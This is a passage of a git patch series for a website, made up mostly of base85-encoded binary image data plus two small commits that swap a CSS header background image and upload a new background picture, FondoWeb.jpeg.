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 HtFZqAH|#Sj literal 0 HcmV?d00001 From 5605e3bb0277aed2125f65b574f5a6bdea9e9f8a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 01:17:25 +0200 Subject: [PATCH 0687/1701] Update estilos.css --- assets/css/estilos.css | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/assets/css/estilos.css b/assets/css/estilos.css index 023a6fdc724..83b4200d4a7 100644 --- a/assets/css/estilos.css +++ b/assets/css/estilos.css @@ -24,7 +24,7 @@ particles-js { width: 90%; /* Cuadrado bordeado: Ancho */ max-width: 1200px; background-size: cover; - background-image: url('../images/bg-header3.jpeg'); + background-image: url('../images/FondoWeb.png'); background-position:center; margin-left: auto; margin-right: auto; From afbed0deda28ba4e5b981fd3540994ba73132f3f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 01:21:42 +0200 Subject: [PATCH 0688/1701] Add files via upload --- assets/images/FondoWeb.jpeg | Bin 0 -> 150479 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 assets/images/FondoWeb.jpeg diff --git a/assets/images/FondoWeb.jpeg b/assets/images/FondoWeb.jpeg new file mode 100644 index 0000000000000000000000000000000000000000..701f587ccbf8ea471e1ecf53e43770380f3d7543 GIT binary patch literal 150479 zcmbSzc|4Tw*Z)0sva}4@DN8dIDP!M8HI|WOD9TnL4WjI#LfTBot|U#EkSJwe+Js87 zM%F@+tte}W-?>NM&+~bn*Yn5k_p8^8d*;6Gb6wZD@9TZe`Lt$Xc?2u>pd? zAP5HjBP%_~9)yd7gOh`ui<6U+o12S=7t6=HW(}{%`V9hD2~jCY2~lxzX<5ZB(wn!- zh>PRY@Y|Jk5(osTEgCxNyR;RR3A<1s7;bKE-Zi|!e0;*YHi>WA_5b{D*crC($VP$1uV`XP&V}sUb z;XJ~&j(z>6o%$RbC`UOrdt-Nn$KBzQ*my|92BR|Nk|!eQD(tVm3pX0e|ksTF%p1q9`UrZWEFm zf_0+d5JpCP7!TQBtr}6-5^PIG{0XQ?9yd1}ofT`@YQZuXpBx{y5t~Tq4-^T2lpIR zKo)jYUzX^YTK{>Q%VJC#GoJ%g9L5-Q%?|DVZ(kf#&12|r0#1mz+rq1;CW$h6v@g6<82*|kFvm+r0$~-nS!Ai4O$q3DqW+P zjY)EFNW;}4iqu9pEYE7hI)(AJq{24}B3ZRqgpvwRAHkJo52{HpHozf`A}~7pmQ=F6 z1twM502+#9WrE^{Y5OS56FbpH@^0S7@Trv&fey*ofH_KNO=n3VIKg9X-$ElJR>Vx` 